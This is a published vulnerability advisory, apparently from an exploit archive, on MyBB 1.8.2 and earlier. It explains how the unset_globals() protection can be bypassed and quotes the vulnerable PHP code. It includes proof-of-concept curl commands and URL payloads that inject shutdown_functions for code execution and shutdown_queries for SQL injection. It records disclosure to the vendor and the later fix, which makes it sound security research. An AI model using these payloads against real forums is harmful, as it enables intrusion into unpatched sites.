MyBB <= 1.8.2 unset_globals() Function Bypass and Remote

# Exploit Title: MyBB <= 1.8.2 unset_globals() Function Bypass and Remote
Code Execution Vulnerability
# Date: 2014-11-21
# Exploit Author: Taoguang Chen
# Vendor Homepage: twitter.com/chtg57
# Software Link: www.mybb.com
# Version: MyBB 1.8 <= 1.8.2 and MyBB 1.6 <= 1.6.15
 
MyBB had released 1.8.3 and 1.6.16 to fixed this vulnerability.
 
Advisory: https://gist.github.com/chtg/e9824db42a8edf302b0e
 
 
 
 
#MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability
 
Taoguang Chen <[@chtg](http://github.com/chtg)> - 2014.03.06
 
> MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.
 
##I. MyBB's unset_globals() Function Bypass
 
When PHP's register\_globals configuration set on, MyBB will call unset\_globals() function, all global variables registered by PHP from $\_POST, $\_GET, $\_FILES, and $\_COOKIE arrays will be destroyed.
 
```
        if(@ini_get("register_globals") == 1)
        {
            $this->unset_globals($_POST);
            $this->unset_globals($_GET);
            $this->unset_globals($_FILES);
            $this->unset_globals($_COOKIE);
        }
        ...
    }
    ...
    function unset_globals($array)
    {
        if(!is_array($array))
        {
            return;
        }
 
        foreach(array_keys($array) as $key)
        {
            unset($GLOBALS[$key]);
            unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
        }
    }
```
 
But unset\_globals() function can be bypassed.
 
###i) $\_GET, $\_FILES, or $\_COOKIE Array was Destroyed
 
```
foo.php?_COOKIE=1
// $_GET['_COOKIE']
```
 
When $_GET['\_COOKIE']=1 is sent, unset\_globals() will destroy $GLOBALS['\_COOKIE'].
 
```
            $this->unset_globals($_GET);
        ...
    }
    ...
    function unset_globals($array)
    {
        ...
        foreach(array_keys($array) as $key)
        {
            unset($GLOBALS[$key]);
```
 
This means $\_COOKIE array will be destroyed. This also means all global variables registered by PHP from $\_COOKIE array will be destroyed because them will not be handled by unset().
 
```
            $this->unset_globals($_COOKIE);
        }
        ...
    }
    ...
    function unset_globals($array)
    {
        if(!is_array($array))
        {
            return;
        }
```
 
By the same token, if $\_GET or $\_FILES array was destroyed via unset\_globals(), the corresponding global variables registered by PHP will not be destroyed.
 
###ii) $GLOBALS Array was Destroyed
 
```
foo.php?GLOBALS=1
// $_GET['GLOBALS']
```
 
When $\_GET['GLOBALS']=1 is sent, unset\_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed.
 
$GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. This means that the binding between the $GLOBALS array and the global symbol table will be broken because $GLOBALS array has been destroyed. This also means all variables registered by PHP from $\_GET, $\_FILES and $\_COOKIE arrays will not be destroyed.
 
By the same token, when $\_POST['GLOBALS'], $\_FLIES['GLOBALS'], or $\_COOKIE['GLOBALS'] is sent, unset\_globals() will destroy $GLOBALS array, then the corresponding global variables registered by PHP will not be destroyed.
 
In fact, MyBB is already aware of the problem:
 
```
        $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
        foreach($protected as $var)
        {
            if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
            {
                die("Hacking attempt");
            }
        }
```
 
Unfortunately, there is a small hole yet:-)
 
$\_REQUEST is an associative array that by default contains mix of $\_GET, $\_POST, and $\_COOKIE arrays data.
 
But PHP >= 5.3 introduced request\_order configuration, the directive affects the contents of $\_REQUEST array.
 
```
request_order = "GP"
```
 
This is recommended setting in php.ini. Set it to "GP" means only $\_GET and $\_POST arrays data is merged into $\_REQUEST array without $\_COOKIE array data.
 
So, it is possible that sent $\_COOKIE['GLOBALS'], then bypass unset\_globals() function in PHP 5.3.
 
##II. Remote Code Execution Vulnerability
 
There is one interesting method in MyBB:
 
```
class MyBB {
    ...
    function __destruct()
    {
        // Run shutdown function
        if(function_exists("run_shutdown"))
        {
            run_shutdown();
        }
    }
}
```
 
Look into run\_shutdown() function:
 
```
function run_shutdown()
{
    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
    ...
    // Run any shutdown functions if we have them
    if(is_array($shutdown_functions))
    {
        foreach($shutdown_functions as $function)
        {
            call_user_func_array($function['function'], $function['arguments']);
        }
    }
 
    $done_shutdown = true;
}
```
 
The $shutdown\_functions was initialized via add\_shutdown() function in init.php:
 
```
// Set up any shutdown functions we need to run globally
add_shutdown('send_mail_queue');
```
 
But add\_shutdown() function initialization handler is wrong:
 
```
function add_shutdown($name, $arguments=array())
{
    global $shutdown_functions;
 
    if(!is_array($shutdown_functions))
    {
        $shutdown_functions = array();
    }
 
    if(!is_array($arguments))
    {
        $arguments = array($arguments);
    }
 
    if(is_array($name) && method_exists($name[0], $name[1]))
    {
        $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
        return true;
    }
    else if(!is_array($name) && function_exists($name))
    {
        $shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
        return true;
    }
 
    return false;
}
```
 
In the above code we see that run\_shutdown() function is vulnerable because $shutdown\_functions is initialized correctly and therefore result in arbitrary code execution.
 
##III. Proof of Concept
 
When request\_order = "GP" and register\_globals = On, remote code execution by just using curl on the command line:
 
```
$ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/
```
 
##IV. P.S.I
 
**Another case to exploit the vulnerability:**
 
When PHP's "disable\_functions" configuration directive disable ini\_get() function:
 
```
disable_functions = ini_get
```
 
The unset\_globals() function will not be called that regardless of register\_globals set on or off.
 
```
       if(@ini_get("register_globals") == 1)
       {
           $this->unset_globals($_POST);
           $this->unset_globals($_GET);
           $this->unset_globals($_FILES);
           $this->unset_globals($_COOKIE);
       }
```
 
**Proof of Concept**
 
Works on disable\_functions = ini\_get and register\_globals = On:
 
```
index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
```
 
##V. P.S.II
 
**SQL injection vulnerability via run\_shutdown() function**
 
```
function run_shutdown()
{
    global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
    ...
    // We have some shutdown queries needing to be run
    if(is_array($shutdown_queries))
    {
        // Loop through and run them all
        foreach($shutdown_queries as $query)
        {
            $db->query($query);
        }
    }
```
 
The $shutdown\_queries was initialized in global.php:
 
```
$shutdown_queries = array();
```
 
But not all files are included global.php, such as css.php:
 
```
require_once "./inc/init.php";
```
 
There is not included global.php, and $shutdown\_queries is uninitialized, with the result that there is a SQL injection vulnerability.
 
**Proof of Concept**
 
Works on request\_order = "GP" and register\_globals = On:
 
```
$ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
```
 
Works on disable\_functions = ini\_get and register\_globals = On:
 
```
css.php?shutdown_queries[]=SQL_Inj
```
 
##VI. Disclosure Timeline
 
* 2014.03.06 - Notified the MyBB devs via security contact form
* 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply
* 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16
* 2014.11.21 - Public Disclosure

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